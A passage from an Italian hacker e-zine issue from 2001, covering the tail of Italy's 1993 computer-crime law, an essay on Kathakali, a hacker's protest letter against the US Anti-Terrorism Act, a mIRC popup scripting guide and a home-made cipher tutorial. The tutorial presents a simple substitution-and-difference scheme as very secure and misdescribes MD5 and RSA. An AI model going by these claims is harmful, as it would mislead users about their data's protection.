| privato.                                                                      |\
|                                                                               |\
| Art. 617-quinquies. - (Installazione di apparecchiature atte ad               |\
| intercettare,                                                                 |\
| impedire o interrompere comunicazioni informatiche o telematiche).            |\
| - Chiunque, fuori dai casi consentiti dalla legge, installa apparecchiature   |\
| atte ad intercettare, impedire o interrompere comunicazioni relative ad un    |\
| sistema informatico o telematico ovvero intercorrenti tra pi\'f9 sistemi, \'e8      |\
| punito con la reclusione da uno a quattro anni.                               |\
|                                                                               |\
| La pena \'e8 della reclusione da uno a cinque anni nei casi previsti dal quarto  |\
| comma dell'articolo 617-quater.                                               |\
|                                                                               |\
| Art. 617-sexies. - (Falsificazione, alterazione o soppressione del contenuto  |\
| di comunicazioni informatiche o telematiche). - Chiunque, al fine di          |\
| procurare ad altri o a s\'e8 un vantaggio o diarrecare ad altri un danno ,       |\
| forma                                                                         |\
| falsamente, ovvero altera o sopprime in tutto o in parte, il contenuto,       |\
| anche                                                                         |\
| occasionalmente intercettato, di taluna delle comunicazioni relative ad un    |\
| sistema informatico o telematico o intercorrenti tra pi\'f9 sistemi, \'e8 punito,   |\
| qualora ne faccia uso o lasci che altri ne facciano uso, con la reclusione    |\
| da                                                                            |\
| uno a quattro anni.                                                           |\
|                                                                               |\
| La pena \'e8 della reclusione da uno a cinque anni nei casi previsti dal quarto  |\
| comma dell'articolo 617-quater".                                              |\
|                                                                               |\
| ART. 7.                                                                       |\
|                                                                               |\
| 1. Nell'articolo 621 del codice penale, dopo il primo comma, \'e8 inserito il    |\
| seguente:                                                                     |\
|                                                                               |\
| "Agli effetti della disposizione di cui al primo comma \'e8 considerato          |\
| documento anche qualunque supporto informatico contenente dati, informazioni  |\
| o programmi".                                                                 |\
|                                                                               |\
| ART. 8.                                                                       |\
|                                                                               |\
| 1. L'articolo 623-bis del codice penale \'e8 sostituito dal seguente:            |\
|                                                                               |\
| "Art. 623-bis (Altre comunicazioni e conversazioni). - Le disposizioni        |\
| contenute nella presente sezione, relative alle comunicazioni e               |\
| conversazioni                                                                 |\
| telegrafiche, telefoniche, informatiche o telematiche, si applicano a         |\
| qualunque altra trasmissione a distanza di suoni, immagini o altri dati".     |\
|                                                                               |\
| ART. 9.                                                                       |\
|                                                                               |\
| 1. Dopo l'articolo 635 del codice penale \'e8 inserito il seguente:              |\
|                                                                               |\
| "Art. 635-bis. - (Danneggiamento di sistemi informatici e telematici).        |\
| - Chiunque distrugge, deteriora o rende, in tutto o in parte, inservibili     |\
| sistemi informatici o telematici altrui, ovvero programmi, informazioni o     |\
| dati altrui, \'e8 punito, salvo che il fatto costituisca pi\'f9 grave reato, con    |\
| la                                                                            |\
| reclusione da sei mesi a tre anni.                                            |\
|                                                                               |\
| Se ricorre una o pi\'f9 delle circostanze di cui al secondo comma dell'articolo  |\
| 635, ovvero se il fatto \'e8 commesso con abuso della qualit\'e0 di operatore del   |\
| sistema, la pena \'e8 della reclusione da uno a quattro anni".                   |\
|                                                                               |\
| ART. 10.                                                                      |\
|                                                                               |\
| 1. Dopo l'articolo 640-bis del codice penale \'e8 inserito il seguente:          |\
|                                                                               |\
| "Art. 640-ter. - (Frode informatica). - Chiunque, alterando in qualsiasi      |\
| modo                                                                          |\
| il funzionamento di un sistema informatico o telematico o intervenendo senza  |\
| diritto con qualsiasi modalit\'e0 su dati, informazioni o programmi contenuti    |\
| in                                                                            |\
| un sistema informatico o telematico o ad esso pertinenti, procura a s\'e9 o ad   |\
| altri un ingiusto profitto con altrui danno, \'e8 punito con la reclusione da    |\
| sei mesi a tre anni e con la multa da lire centomila a due milioni.           |\
|                                                                               |\
| La pena della reclusione da uno a cinque anni e della multa da lire           |\
| seiicentomila a tre milioni se ricorre una delle circostanze previste dal     |\
| numero 1) del secondo comma dell'articolo 640, ovvero se il fatto \'e8 commesso  |\
| con abuso della qualit\'e0 di operatore del sistema.                             |\
|                                                                               |\
| Il delitto \'e8 punibile a querela della persona offesa, salvo che ricorra       |\
| taluna delle circostanze di cui al secondo comma o un'altra circostanza       |\
| aggravante".                                                                  |\
|                                                                               |\
| ART. 11.                                                                      |\
|                                                                               |\
| 1. Dopo l'articolo 266 del codice di procedura penale \'e8 inserito il           |\
| seguente:                                                                     |\
|                                                                               |\
| "Art. 266-bis. - (Intercettazioni di comunicazioni informatiche o             |\
| telematiche)                                                                  |\
| -1. Nei procedimenti relativi ai reati indicati nell'articolo 266, nonch\'e8 a   |\
| quelli commessi mediante l'impiego di tecnologie informatiche o telematiche,  |\
| \'e8 consentita l'intercettazione del flusso di comunicazioni relativo a         |\
| sistemi                                                                       |\
| informatici o telematici ovvero intercorrente tra due sistemi".               |\
|                                                                               |\
| ART. 12.                                                                      |\
|                                                                               |\
| 1. L'articolo 268 del codice di procedura penale \'e8 cos\'ec modificato:           |\
|                                                                               |\
| a) dopo il comma 3 \'e8 inserito il seguente:                                    |\
|                                                                               |\
| "3-bis. Quando si procede a intercettazione di comunicazioni informatiche o   |\
| telematiche, il pubblico ministero pu\'f2 disporre che le operazioni siano       |\
| compiute anche mediante impianti appartenenti a privati";                     |\
|                                                                               |\
| b) i commi 6, 7 e 8 sono sostituiti dai seguenti:                             |\
|                                                                               |\
| "6. Ai difensori delle parti \'e8 immediatamente dato avviso che, entro il       |\
| termine fissato a norma dei commi 4 e 5, hanno facolt\'e0 di esaminare gli atti  |\
| e ascoltare le registrazioni ovvero di prendere cognizione dei flussi di      |\
| comunicazioni informatiche o telematiche indicati dalle parti, che non        |\
| appaiano manifestamente irrilevanti, procedendo anche di ufficio allo         |\
| stralcio delle registrazioni e dei verbali di cui \'e8 vietata l'utilizzazione.  |\
| Il pubblico ministero e i difensori hanno diritto di partecipare allo         |\
| stralcio e sono avvisati almeno ventiquattro ore prima.                       |\
|                                                                               |\
| 7. Il giudice dispone la trascrizione integrale ovvero la stampa in forma     |\
| intelligibile delle informazioni contenute nei flussi di comunicazioni        |\
| informatiche o telematiche da acquisire, osservando le forme, i modi e le     |\
| garanzie previsti per l'espletamento delle perizie. Le trascrizioni o le      |\
| stampe sono inserite nel fascicolo per il dibattimento.                       |\
|                                                                               |\
| 8. I difensori possono estrarre copia delle trascrizioni e fare eseguire la   |\
| trasposizione della registrazione su nastro magnetico. In caso di             |\
| intercettazione di flussi di comunicazioni informatiche o telematiche i       |\
| difensori possono richiedere copia su idoneo supporto dei flussi              |\
| intercettati, ovvero copia della stampa prevista dal comma 7".                |\
|                                                                               |\
| ART. 13.                                                                      |\
|                                                                               |\
| 1. Al comma 1 dell'articolo 25-ter del decreto-legge 8 giugno 1992,           |\
| convertito, con modificazioni, dalla legge 7 agosto 1992, n.356, dopo le      |\
| parole "e di altre forme di telecomunicazione" sono inserite le seguenti:     |\
| "ovvero del flusso di comunicazioni relativo a sistemi informatici o          |\
| telematici".                                                                  |\
|                                                                               |\
| Le presente legge, munita del sigillo di Stato, sar\'e0 inserita nella Raccolta  |\
| ufficiale degli atti normativi della Repubblica Italiana. E' fatto obbligo a  |\
| chiunque spetti di osservarla e farla osservare come legge dello Stato.       |\
|                                                                               |\
| Data a Roma, add\'ec 23 dicembre 1993.                                           |\
|                                                                               |\
| SCALFARO                                                                      |\
|                                                                               |\
| CIAMPI, Presidente del Consiglio dei Ministri                                 |\
|                                                                               |\
| CONSO, Ministro di grazia e giustizia                                         |\
|                                                                               |\
| Visto, il Guardasigilli: CONSO                                                |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA MAGAZINE ~ [L0 SCiAMAN0]                          #04 - 19/11/2001 |\
| SUL KATAKALi                                           [il Magnano] 0x1A/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| Trance ipnotica. Bellezza inerme. Antico poema Mahabarata.                    |\
| Liberta' di adorare, liberta' di purificare. Liberta' di assolvere            |\
| l'assoluta                                                                    |\
| necessita' d'infinito. India mistica ? India trascendentale ? Parole quasi    |\
| abusate.                                                                      |\
| Mille racconti potrebbero confondere... misticismo usurato da supermarket...  |\
| moda per alternativi snob.                                                    |\
| Aldila' dei discorsi, da ormai svariati secoli e in particolare in questi     |\
| ultimi decenni, l'India e' fortemente in auge per tutto cio' che riguarda il  |\
| bisogno spirituale che pervade l'uomo.                                        |\
|                                                                               |\
| Terra di Baba, terra di Guru, Terra delle Upanishad, di Infiniti Dei...       |\
| Brahma, Visnu Shiva... infinite adorazioni...                                 |\
| Terra del Mahabarata, grandioso poema epico di questa incredibile terra.      |\
| Fascino della danza, miste o della danza... sensualita' trascendente...       |\
| dedicata al supernaturale.                                                    |\
| Corpi in movimento... sudore... profumi d'incenso... Musica fatta di tablas,  |\
| Sitar...                                                                      |\
| Oppio ed hascish ad impregnare l'aria.                                        |\
| Da nessun'altra parte la musica assume un significato cosi sacro e            |\
| divinatorio... atta ad entrare in vicinanza cone le diverse divinita'...      |\
| atta pure a riempire l'anima della sua necessita' di sacro.                   |\
| Da nessun'altra parte cosi' intensamente.                                     |\
| Il Mahabarata e' un poema epico a cui si e' dato un sottofondo musicale e     |\
| che narra le gesta mitiche delle antiche adorazioni e devozioni degli Dei.    |\
| Che narra puntando all'alto. Narrazione come istinto viscerale. Storie per    |\
| tramandare un senso vero della vita al genere umano.                          |\
|                                                                               |\
| Il Katakali e' la danza che inscena il Mahabarata, il Mahabarata danzato e    |\
| musicato.                                                                     |\
| Costumi, gioelli, anelli, profumi, musiche, scenografie. Nulla e' lasciato    |\
| intentato.                                                                    |\
| E' un grande puzzle di bellezza.                                              |\
| In cui ogni tassello deve risplendere e luccicare.                            |\
| Ipnotica sensualita'                                                          |\
| Tremore estatico                                                              |\
| Lenta trascendenza                                                            |\
| "L'Asia par che dorma, ma sta sospesa in aria, immensa millenaria sua         |\
| cultura".                                                                     |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA MAGAZINE ~ [L0 SCiAMAN0]                          #04 - 19/11/2001 |\
| iL TERR0RiSTA SCRiVE A CENSURATi.iT           [Antonella Serafini] 0x1B0/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| Ho contatti con i terroristi!                                                 |\
| Ebbene si. Ho contatti con terroristi. Il Governo americano, sta spingendo a  |\
| tavoletta per approvare una legge che equiparerebbe il terrorismo (inteso     |\
| come quello serio, che si fa con armi chimiche, batteriologice e nucleari)    |\
| all\rquote hacking.                                                                  |\
| E si approfitter\'e0 del caso dell\rquote abbattimento delle Twin Towers per proporre   |\
| leggi che in altri momenti avrebbero trovato proprio un terreno non fertile.  |\
|                                                                               |\
| Lettera di Tritemius a censurati                                              |\
|                                                                               |\
| Riviste specializzate come Punto-Informatico hanno gi\'e0 parlato di Tritemius,  |\
| come dell\rquote hacker che ha trovato dei bugs nello Shape della Nato, bugs al      |\
| Credito Cooperativo, alla BBC e in altri importanti siti. Tralascio quindi    |\
| la presentazione di questo personaggio, per dare il giusto spazio a ci\'f2 che   |\
| mi ha inviato come lettera aperta e di protesta a una legge simile:           |\
|                                                                               |\
| Cari amici censurati, il 24 settembre, il Dipartimento di Giustizia degli     |\
| Stati uniti ha reso pubblico il testo dell'ATA (Anti-Terrorism Act, legge     |\
| anti-terrorismo). Questo decreto, redatto dal DOJ come iniziativa per         |\
| fronteggiare la minaccia terroristica manifestatasi in maniera tremenda e     |\
| agghiacciante l'11 settembre con l'attentato di New York, verra' presentato   |\
| (approvato?) al Congresso USA.                                                |\
|                                                                               |\
| Cio' che mi spinge a manifestare pubblicamente la mia preoccupazione \'e8 per\'f2   |\
| il fatto che insieme a reati come attentati dinamitardi e assassini, vi \'e8 la  |\
| presenza dei reati informatici, accomunati sotto l'infamante etichetta del    |\
| terrorismo.                                                                   |\
|                                                                               |\
| Hackers, crackers,virus-writers,web-defacers dovranno essere considerati,     |\
| secondo l'Amministrazione americana, terroristi a tutti gli effetti:          |\
| modificare una pagina web e schiantare un aereo contro un grattacielo e' la   |\
| stessa cosa.                                                                  |\
|                                                                               |\
| Al di la' delle considerazioni tecniche e delle interpretazioni che si        |\
| possono dare alla parola "hacker", e' del tutto evidente che ci troviamo di   |\
| fronte a proposte assolutamente sproporzionate.                               |\
| Si dovrebbero sempre tener ben distinti i danni e i crimini contro le         |\
| persone (spesso perpetrati anche da coloro i quali si ergono a paladini       |\
| della Libert\'e0 e della Giustizia universale), e i reati contro le cose.        |\
|                                                                               |\
| Se poi le idee fanno paura, se un modello politico/economico/sociale non pu\'f2  |\
| (non deve!) essere criticato e le parole devono essere controllate e          |\
| approvate, allora \'e8 necessario preoccuparsi.                                  |\
|                                                                               |\
| Gli hackers sono stati, sono e saranno sempre piu' gli spiriti liberi         |\
| dell'Era digitale, fautori del mondo libero della Rete, della libera          |\
| circolazione delle idee e delle informazioni, della collaborazione organica   |\
| e disinteressata. Non sono gli hackers a sradicare popolazioni, a violentare  |\
| terre, a costruire armi micidiali. I terroristi e i prepotenti sono altri,    |\
| sono altrove. Apriamo gli occhi, non lasciamo che Stranamore ci ipnotizzi     |\
| col marziale rullo di tamburi, occorre restare lucidi di fronte alla          |\
| strategia della tensione globale.                                             |\
| Il re e' nudo: dietro la difesa degli alti ideali e della meravigliosa        |\
| civilt\'e0 occidentale, si nascondono interessi umani, troppo umani.             |\
| Tritemius                                                                     |\
|                                                                               |\
| Questa la lettera di Tritemius                                                |\
| Amici miei, se questo qui \'e8 un terrorista io sono da sedia elettrica, perch\'e9  |\
| la mia curiosit\'e0 non \'e8 di ricerca sulla rete, ma di ricerca nelle schifezze   |\
| del sociale. Stesso stampo, ma con pi\'f9 prepotenza, quindi.                    |\
|                                                                               |\
| Temo che la libert\'e0 che gli hackers sono in grado di fornire, sia un\rquote arma     |\
| difficile da annientare, e per questo fa paura. Per usare le parole di un     |\
| grande amico queste persone, gli hackers, sono "coriandoli colorati contro    |\
| un muro grigio".                                                              |\
|                                                                               |\
| Dopo la legge approvata dal Senato americano sul controllo delle email,       |\
| vengono seri dubbi sul potere della libert\'e0 della rete. Il fatto che molti    |\
| temono che con internet si perde il monopolio informativo dei media, \'e8        |\
| provato dalla neonata ed inutile (quanto inattuabile) nuova legge             |\
| sull\rquote editoria, votata all\rquote unanimit\'e0 da esponenti di destra e di sinistra      |\
| indistintamente.                                                              |\
|                                                                               |\
| Il Grande Fratello si, internet libero no. Il fatto \'e8 preoccupante, perch\'e9    |\
| mi viene da pensare che avere un suddito ignorante \'e8 molto pi\'f9 facile da      |\
| gestire di un suddito con delle idee e delle iniziative. E soprattutto, se    |\
| il popolo-suddito non ha idee, non si rischia l\rquote ammutinamento.                |\
|                                                                               |\
| Tritemius incarna la libert\'e0 di noi tutti, e per questo sarebbe a rischio     |\
| (in America, per fortuna, qui non ancora, ma non \'e8 detto). E' il terrorista   |\
| che rischia il "carcere a vita, senza possibilit\'e0 di appello" (traduzione     |\
| letterale di quanto ho visto in rete).                                        |\
|                                                                               |\
| A questo punto, io sarei anche per le perquisizioni senza mandato per tutti,  |\
| per i controlli alla corrispondenza cartacea.. tanto che cambia? Il succo \'e8   |\
| quello!                                                                       |\
|                                                                               |\
| Diciamolo, sono stati gli hackers a far crollare le Twin Towers, altro che    |\
| Bin Laden! (a questo punto non mi stupirei pi\'f9 di tanto se venisse fuori una  |\
| cosa simile, magari detta dalla CNN, cos\'ec tanto idolatrata!)                  |\
|                                                                               |\
| Amici, la libert\'e0 negata \'e8 quella del mito della caverna di Platone.. non ci  |\
| fa conoscere la realt\'e0, ma ci fa stare contenti di essere ignoranti, e        |\
| contenti anche di dire "sissignore"                                           |\
|                                                                               |\
| Antonella Serafini, www.censurati.it                                          |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE]                        #04 - 19/11/2001 |\
| GUiDA SUL mIRC SCRiPTiNG [PARTE SEC0NDA]            []_CyBeRPuNK_[] 0x1C/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
|                                                                               |\
| Guida sul mIRC scripting Parte 2                                              |\
|                                                                               |\
|                                                                               |\
| []_CyBeRPuNK_[] o Slackware                                                   |\
|                                                                               |\
|   slackware@estranet.it                                                       |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| La sezione Popups.                                                            |\
| I popup sono menu che appaiono quando si esegue un click destro con il        |\
| mouse. Se non avete ancora scoperto questa utile funzione di mIRC, fate una   |\
| prova ADESSO! Alcuni menu popup sono predefiniti in popups.ini presente       |\
| nella distribuzione di mIRC ma, sono completamente personalizzabili sotto la  |\
| voce Tools/Popups/.                                                           |\
|                                                                               |\
| Verr\'e0 avviato Editor di mIRC con aperta la sezione Popups. Per ora, si        |\
| ignorino le sezioni Remote, Users e Variables! L'Editor di mIRC viene         |\
| utilizzato come una interfaccia uniforme e compatta per tutte le sezioni      |\
| programmabili di mIRC. Con al sezione Popups selezionata, il menu 'File' vi   |\
| aiuter\'e0 a caricare, scaricare e salvare i file di popup. Il menu 'Edit'       |\
| fornisce le funzioni di copia/incolla e di ricerca. 'Popup' elenca un indice  |\
| dei file di menu popup attualmente aperti.                                    |\
|                                                                               |\
| Il menu 'View' permette di selezionare quale popup si desidera modificare.    |\
| Vi sono differenti menu popup per differenti tipi di finestre di mIRC; Su     |\
| una finestra di canale si avr\'e0 un menu popup diverso dal menu popup delle     |\
| Query (conversazioni private). Utilizzare il menu View per modificare un      |\
| menu popup differente. Vi sono sezioni programmabili di popup per la          |\
| finestra di Status, finestre di canale, finestre di Query/Chat ed elenco      |\
| Nick ed uno speciale elemento chiamato Menubar per un elemento di Menubar     |\
| programmabile. (Tutti verranno spiegati successivamente)                      |\
|                                                                               |\
| Se la vostra copia di mIRC non sembra disporre del menu popup predefinito     |\
| (con quindi la sezione Tools/Popups/ vuota), \'e8 sicuramente dovuto al fatto    |\
| che non si \'e8 verificato che il file predefiniti siano stati copiati           |\
| correttamente dal file di distribuzione di mIRC alla directory di mIRC,       |\
| oppure che la posizione nella quale recuperare il file popups.ini non \'e8       |\
| stato correttamente specificato. \'c8 facile correggere ci\'f2 tramite la voce di   |\
| menu File/Load/ nell'editor dei Popups.                                       |\
|                                                                               |\
| I comandi popup funzionano esattamente come gli alias. Tutte le stringhe      |\
| indicate nella Sezione alias possono essere utilizzate nei popup (e vitali    |\
| per il corretto utilizzo dei popup). Se non si \'e8 letta la sezione degli       |\
| Alias (Sezione alias), fatelo ora! Vi serviranno le informazioni contenuta    |\
| in essa prima di procedere.                                                   |\
|                                                                               |\
| Inoltre: Si legga il file di Help relativo ai popup, cosi come dare una       |\
| occhiata ai molti esempi di popup inclusi in mIRC sotto Tools/Popups. Pi\'f9     |\
| esempi si proveranno, esamineranno e si proveranno a modificare, migliore     |\
| sar\'e0 la vostra conoscenza di mIRC.                                            |\
|                                                                               |\
| Esempio: /join                                                                |\
|                                                                               |\
| Supponiamo che ci si voglia collegare frequentemente ad particolare canale,   |\
| #test.                                                                        |\
|                                                                               |\
| Anzich\'e9 dover digitare "/join #test", non sarebbe pi\'f9 semplice fare un click  |\
| destro e selezionare una voce di menu che vi faccia collegare                 |\
| automaticamente al canale?                                                    |\
|                                                                               |\
| IL seguente popup svolge questa funzione. Semplicemente si inserisca questo   |\
| popup sotto Tools/Popups, assicurandovi che "Status Window" sia selezionata.  |\
| (Non Query/Chat window, Channels Names list o Menu Bar!)                      |\
|                                                                               |\
| Entrare sul canale Test:                                                      |\
|                                                                               |\
|                                                                               |\
| /join #test                                                                   |\
|                                                                               |\
| Ora si faccia un click destro sulla finestra di Status e si selezioni         |\
| "Entrare sul canale Test". mIRC eseguir\'e0 esattamente questo.                  |\
|                                                                               |\
| Esempio: /away                                                                |\
|                                                                               |\
| Ecco un esempio di popup di "away" e di "back"... si digiter\'e0 il motivo       |\
| dell'away, che verr\'e0 inviato ai canali sui quali si \'e8 presente (Che \'e8 ci\'f2     |\
| che il comando /ame fa, inviare un /me ad ogni canale sul quale si \'e8          |\
| presenti)                                                                     |\
|                                                                               |\
|                                                                               |\
| Set Away...:/ame e VIA ( $?="indicare il motivo" ) | /away Provare pi\'f9 tardi  |\
| ( $! ) !!                                                                     |\
| Set Back:/ame \'e8 TORNATO| /away                                                |\
|                                                                               |\
| (Si noti ancora una volta che su alcuni sistemi potrebbe essere necessario    |\
| scorrere verso destra per vedere il testo completo di alcuni esempi)          |\
|                                                                               |\
| Si noti anche che l'esempio "Set Away" utilizza linee di comandi multiple.    |\
|                                                                               |\
| Menu Gerarchici                                                               |\
|                                                                               |\
| Se si aggiungono alcuni popup simili a quelli visti in precedenza, lo         |\
| schermo si riempir\'e0 ogni volta che si esegue un click destro. \'c8 quindi        |\
| possibile organizzare i vari popup in menu gerarchici. Si provi ad inserire   |\
| i seguenti popup:                                                             |\
|                                                                               |\
|                                                                               |\
| Frasi                                                                         |\
| .Hello:/say Ciao gente!                                                       |\
| .Goodbye:/say Addio gente!                                                    |\
| .Hug:/me da a $? un grande grande abbraccio                                   |\
|                                                                               |\
| Si specifica che gli ultimi tre comandi debbano apparire sotto "Frasi"        |\
| tramite: 1) inserendoli dopo la voce "Frasi", nell'ordine nel quale si        |\
| desidera che appaiono e 2) facendoli precedere tutti da "." <-- un punto.     |\
|                                                                               |\
| Quando si esegue un click destro si vedr\'e0 la voce di menu "Frasi".            |\
| Selezionandola si vedranno le voci di menu "Hello", "Goodbye" ed "Hug".       |\
| Selezionando una di queste voci si eseguiranno i comandi o le azioni          |\
| precedentemente specificate.                                                  |\
|                                                                               |\
| Se si desidera una cosa pi\'f9 complicata \'e8 possibile avere pi\'f9 livelli di menu  |\
| popup. Ad esempio si provi:                                                   |\
|                                                                               |\
|                                                                               |\
| Commenti sulle Persone                                                        |\
| .Complimenti                                                                  |\
| ..Simpatico:/say Wow, $? -- sei veramente simpatico oggi!                     |\
| ..Utili:/say Grazie per l'aiuto $?                                            |\
| ..Amico:/say Sono felice di avere $? per amico.                               |\
| .Insulti                                                                      |\
| ..Jerk:/say Lasciami in pace, jerk!                                           |\
| ..Idiot:/me si domanda come faccia $? ad essere cos\'ec idiota a volte.          |\
| ..Enemy:/say Sono orgoglioso di avere $? come nemico!                         |\
|                                                                               |\
| E cos\'ec via! Basta solo ordinarli correttamente, utilizzando i punti. (se il   |\
| metodo con cui sono organizzati le voci precedenti non vi \'e8 chiaro,           |\
| provateli! Inserite i "commenti" precedenti sotto Tools/Popups. \'c8 pi\'f9         |\
| semplice capirli quando li si vede in funzione)                               |\
|                                                                               |\
| Tutte le voci di menu popup possono anche essere assegnati ad un tasto        |\
| Funzione! Questo \'e8 un metodo utile per accedere ai popup utilizzati pi\'f9 di    |\
| frequente.... (Assicuratevi di utilizzare la sintassi corretta e di porli [i  |\
| sostituti per i tasti funzione] nella sezione alias.                          |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE]                        #04 - 19/11/2001 |\
| ALG0RiTM0 Di C0DiFiCA A CHiAVE RAND0M                     [BiGAlex] 0x1D/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| Salve a tutti ragazzi...ultimamente stavo pensando di realizzare un           |\
| algoritmo di criptazione che possa essere utile a tutti coloro che            |\
| devono scambiarsi piccoli messaggi di testo (l'algoritmo pu\'f2 essere           |\
| pi\'f9 facilmente crackato su lunghe frasi o comunque testi abbastanza           |\
| lunghi). Questo algoritmo purtroppo \'e8 double-way, cio\'e8 richiede una           |\
| sola chiave per essere decriptato (non come l'md5, il sistema di              |\
| chiavi inventato dalla rsa, il cast o simili), tuttavia \'e8 mooolto             |\
| affidabile. Vi spiegher\'f2 ora nel dettaglio il suo funzionamento:              |\
| ad ogni carattere ascii \'e8 associato un carattere ascii a caso                 |\
| (quindi non consecutivo come il rot13 che pu\'f2 essere crackato molto           |\
| facilmente). Il carattere ascii assegnato non pu\'f2 per\'f2 ripetersi              |\
| (tra i 256 caratteri ascii non si possono assegnare due 45 ad esempio!!).     |\
| Tutti i caratteri vengono salvati in un file, il file chiave, col             |\
| quale sar\'e0 possibile decodificare qualcosa codificato o possiamo              |\
| codificare qualcosa :)                                                        |\
| Tuttavia l'algoritmo avevo detto che era random o sbaglio? Allora,            |\
| per complicare un p\'f2 le cose ho deciso (ihihih povero cracker) di             |\
| non far s\'ec che tutte le a (sempre esempio) codificate possano                 |\
| corrispondere ad un singolo carattere ascii...(bastardit\'e0 occulta ihih),      |\
| ma col variare del testo cambier\'e0 anche la codifica...umh...mi spiego         |\
| meglio, prima con 1 esempio e poi con la 'regola'.                            |\
|                                                                               |\
| Dobbiamo codificare 'ciao' e codificandolo semplicemente con la               |\
| chiave di cui parlavo prima esce fuori 'tsur' ok? Beh...ora se                |\
| codificassi in tutto il testo la c con la t la i con la s ecc ecc             |\
| mi troverei una specie di 'settimana enigmistica', dove man mano              |\
| devo decodificare un testo, un'addizione o cmq avete capito :D                |\
|                                                                               |\
| Per complicare ulteriormente quindi ho pensato di nn far s\'ec che ci\'f2           |\
| succeda, ma che magari alla a possa corrispondere l'intero set di             |\
| caratteri ascii. Direte voi 'Sei un genio, cos\'ec poi o 1. devo avere           |\
| una chiave enorme, o 2. nn decodificher\'f2 mai +!', ed \'e8 qui invece             |\
| che vi sbagliate (grazie, se nn sapete l'algoritmo e nn siete                 |\
| mago silvan voglio vedere ihihihi ;-))                                        |\
| L'algoritmo quindi lo complichiamo un p\'f2 facendo cos\'ec:                        |\
| codifichiamo normalmente e poi facciamo una 'seconda passata' di              |\
| codifica...richieder\'e0 un p\'f2 pi\'f9 di tempo ma sar\'e0 proprio sicuro :)            |\
| Allora...prendiamo il codice ascii della prima lettera e lo mettiamo          |\
| in una variabile. Andiamo alla seconda lettera e sottraiamo al suo            |\
| codice ascii quello della prima, memorizziamo il nuovo codice ascii           |\
| nella variabile doveva avevamo messo quello della prima e procediamo          |\
| allo stesso modo. Le 'a' resteranno uguali? No, sar\'e0 casuale...ihiih          |\
| Ciao cracker! :)                                                              |\
|                                                                               |\
| Vi voglio ricordare che se fate quest'ultimo passo sar\'e0 pi\'f9 facile per        |\
| il cracker risalire alla chiave (ora non vi sto a spiegare xch\'e8..             |\
| io ci sono stato 1 giornata intera a pensarci...ecco come mai a volte         |\
| sklero :), quindi vi consiglio di codificare prima e successivamente          |\
| modificare il tutto. Un'altra cosa che vi sconsiglio di fare \'e8 mettere        |\
| intestazioni alla codifica: il cracker capirebbe pi\'f9 facilmente il tipo       |\
| di algoritmo utilizzato e si attrezzerebbe di conseguenza. Un'altra cosa      |\
| da evitare di fare \'e8 drog..scusate...volevo dire (ihihihi) cominciare         |\
| il testo con le stesse parole, con spazi o comunque in modi uguali            |\
| (come i miei tutorials...hihiih). Cos\'ec facendo aiuterete il cracker a         |\
| decodificare la chiave!                                                       |\
|                                                                               |\
| Per la decodifica: basta fare il tutto a ritrorso...prima rifare la           |\
| 'seconda passata' (che ora sar\'e0 la prima quindi), cio\'e8 aggiungere al          |\
| secondo carattere il primo ecc ecc, poi successivamente abbinare al           |\
| codice ascii di codifica quello di decodifica...insomma \'e8 molto semplice.     |\
|                                                                               |\
|                                                                               |\
| Per quanto riguarda i metodi di attacco a ci\'f2 che \'e8 criptato...beh,           |\
| l'unico problema sono gli eseguibili: cominciano tutti allo stesso modo       |\
| (fare edit nomeprogramma.exe x vedere!). Cos\'ec permettono al cracker di        |\
| ricavare pi\'f9 facilmente la mappa dei caratteri criptati...vabb\'e8 ma cmq        |\
| io avevo detto che questa era una codifica per il testo, non per              |\
| programmi, no? L'attacco di tipo brute-force \'e8 praticamente impossibile,      |\
| se non appunto per i programmi e per documenti dei quali si conosce gi\'e0       |\
| l'intestazione. Quello che potrebbe essere pi\'f9 fruttuoso come attacco         |\
| dovrebbe essere il dictionary attack, ma senza conoscere neppure la           |\
| codifica degli spazi, \'e8 estremamente difficile escludere una parola e         |\
| cercare di decodificarla (oltretutto ciao ha la stessa codifica casuale       |\
| di miao mico tipo e tutte le parole senza doppie di quattro parole!).         |\
| Il problema per\'f2 pu\'f2 diminuire a partire dalle parole pi\'f9 lunghe tipo         |\
| decodificatore encryption joyenergizer (bel brano tekno hihi). Sconsiglio     |\
| a tutti quindi di usare paroloni ('gnurant rulez ihih).                       |\
|                                                                               |\
| Ragazzi, un tutorial tanto lungo non l'ho mai scritto... poi va a finire      |\
| che faccio gli incubi... mi fermo qui :P                                      |\
| ihihhi                                                                        |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                    ----==[Saluti!]==----                                      |\
|                                                                               |\
| Dato che non ho proprio nulla da fare, ho deciso di salutare (lo so, il       |\
| senso non c'\'e8 ma fate conto che ci sia, sto confondendo la pula hihihi)       |\
| tutto il canale #hack, #tcc, #hackjam, #newbie (rag\'e0 leggetevi sto tutorial   |\
| poi andate vicino ai vostri genitori e dite 'guardaaaa tu questo non lo       |\
| saiii',                                                                       |\
| come i bambini di 4 anni (scherzo hihih, di 3 ahahhaha)...intanto mi vorrei   |\
| scusare con tutti i lettori per l'alto tasso di tossicit\'e0 che \'e8 in me in      |\
| questo momento (forse saranno i rifiuti radioattivi di ieri sera sullo        |\
| stomaco? boh, non so hahahah ihhiih) ragazzi levatemi il gas esilarante       |\
| non ce la accio +!! devo scrivere i saluti hahahah hihiih                     |\
| [connessione persa]                                                           |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| hahahah ci siete cascati heh? ihhihih                                         |\
